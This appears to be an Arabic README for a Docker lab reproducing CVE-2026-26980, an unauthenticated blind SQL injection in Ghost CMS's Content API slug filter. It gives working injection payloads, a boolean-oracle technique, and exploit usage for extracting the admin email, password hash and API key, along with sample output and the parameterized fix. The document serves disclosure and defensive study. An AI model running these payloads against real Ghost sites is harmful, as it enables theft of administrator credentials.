
# CVE-2026-26980 — مختبر حقن SQL في واجهة برمجة تطبيقات المحتوى الخاصة بـ Ghost CMS (حقن SQL أعمى غير مصادق عبر ترتيب مرشح slug)
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (حرج) |
| CWE | CWE-89 (حقن SQL) |
| المتأثر | Ghost 3.24.0 -- 6.19.0 |
| المُصلَح | Ghost 6.19.1 |
| المصادقة المطلوبة | لا شيء (مفتاح واجهة برمجة تطبيقات المحتوى عام حسب التصميم) |
| الائتمان/المراجع | Nicholas Carlini باستخدام Claude، Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
إخلاء مسؤولية -- هذا المختبر مخصص لاختبار الأمان المصرح به والتعليم والبحث الدفاعي فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
تدعم واجهة برمجة تطبيقات المحتوى في Ghost تصفية الوسوم والمشاركات حسب slug باستخدام صيغة المصفوفة: filter=slug:[tag-a,tag-b]. داخليًا، تقوم دالة مساعدة ببناء عبارة ORDER BY CASE للحفاظ على ترتيب slug المطلوب. قبل الإصدار 6.19.1، كانت قيم slug المقدمة من المستخدم تُدرج مباشرة في هذا SQL دون معلمة:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
مفتاح وبرمجة تطبيقات المحتوى مضمّن في HTML لكل موقع Ghost (data-key="...")، مما يجعل هذا سطح هجوم غير مصادق عليه بالكامل.
تتحقق لغة استعلام NQL في Ghost من إدخال الفلتر وترفض علامات الاقتباس المفردة الخام أو المسافات. ومع ذلك، تقبل NQL القيم المغلفة بعلامات اقتباس مفردة داخل صيغة المصفوفة (slug:['value'])، وتمرر علامات الاقتباس كجزء من الحرفية. يستخرج regex الخاص بـ slugFilterOrder هذه القيم ويدرجها — بما في ذلك علامات الاقتباس — في SQL:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL يمرر علامات الاقتباس كأحرف حرفية
بعد الإدراج، يصبح ORDER BY:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
في الوضع الافتراضي لـ MySQL، || تعني OR و '' قيمة خاطئة. هذا يعطينا oracle منطقيًا نظيفًا:
| الشرط | نتيجة CASE | التأثير |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | استجابة عادية (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | خطأ تجاوز DOUBLE (HTTP 500) |
مع إنشاء oracle، ينطبق الاستخراج الأعمى القياسي بالبحث الثنائي:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
صيغة SUBSTR(... FROM pos FOR len) تتجنب الفواصل (التي يقسم عليها slugFilterOrder).
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





يستبدل الإصلاح إدراج السلاسل بربطات معلمة:
// FIXED
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
تم تحديث إضافة crud.js لتمرير الربطات عبر orderByRaw، وتم رفع @tryghost/bookshelf-plugins إلى 0.6.29 الذي يضيف دعم الربط.
requests# استنساخ والدخول إلى المختبر
git clone <this-repo> && cd ghost-cve-2026-26980
# تثبيت تبعية Python
pip install -r requirements.txt
# تشغيل مثيل Ghost الضعيف (6.18.0 + MySQL 8)
docker compose up -d
# انتظر ~45 ثانية لتهيئة Ghost، ثم شغّل الاستغلال
python3 exploit.py --url http://localhost:2368
# شغّل أيضًا Ghost المُصلَح 6.19.1 على المنفذ 2369
docker compose --profile fixed up -d
# انتظر ~45 ثانية، ثم تأكد أن الإصلاح يمنع الحقن
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL عنوان Ghost (الافتراضي: http://localhost:2368)
--validate-fix تأكيد أن الهدف NOT ضعيف
--extract-password استخراج تجزئة bcrypt للمشرف أيضًا
--extract-api-key استخراج سر API للمشرف أيضًا
--content-key KEY تخطي الإعداد، استخدم مفتاح واجهة برمجة تطبيقات المحتوى هذا مباشرة
-v, --verbose إظهار نتائج oracle لكل استعلام
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Waiting for Ghost at http://localhost:2368 ready
[*] Setting up Ghost (admin: [email protected])
[+] Setup complete — establishing session
[+] Logged in
[+] Content API key: ad63c06a71457583ea58f050c1
[+] Anchor slug: news
[*] Phase 1 — boolean blind verification
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Boolean oracle confirmed — VULNERABLE
[*] Phase 2a — extracting admin email
Measuring length of admin email... 21 chars
Extracting: [email protected]
[+] Email: [email protected]
============================================================
EXPLOITATION SUMMARY
============================================================
Target: http://localhost:2368
CVE: CVE-2026-26980
Content key: ad63c06a71457583ea58f050c1
Admin email: [email protected]
============================================================
تم إصلاح ثغرة ثانية في نفس الإصدار. استخدم مساعد Handlebars {{#get}} في Ghost حزمة jsonpath (التي تعتمد على static-eval) لحل تعبيرات المسار. يمكن للسمات الخبيثة صياغة تعبيرات تصل إلى Function() عبر اجتياز النموذج الأولي، محققة تنفيذ كود من جانب الخادم.
| CVE | CVE-2026-29053 |
| المتأثر | Ghost 0.7.2 -- 6.19.0 |
| المصادقة | مشرف (رفع السمة) |
| الإصلاح | استبدال jsonpath بدالة querySimplePath() مقيدة تدعم فقط تدوين النقاط و [N] و [*] |
يركز هذا المختبر على CVE-2026-26980 لأنه غير مصادق عليه وأكثر تأثيرًا للمهاجمين الخارجيين.
.
├── README.md # هذا الملف
├── docker-compose.yml # Ghost 6.18.0 (ضعيف) + 6.19.1 (مُصلَح) مع MySQL 8
├── exploit.py # PoC كامل: إعداد، تحقق، استخراج
├── validate.sh # غلاف تحقق شامل
└── requirements.txt # تبعيات Python
يُقدَّم هذا المختبر لأغراض تعليمية واختبار أمان مصرح به بموجب رخصة MIT.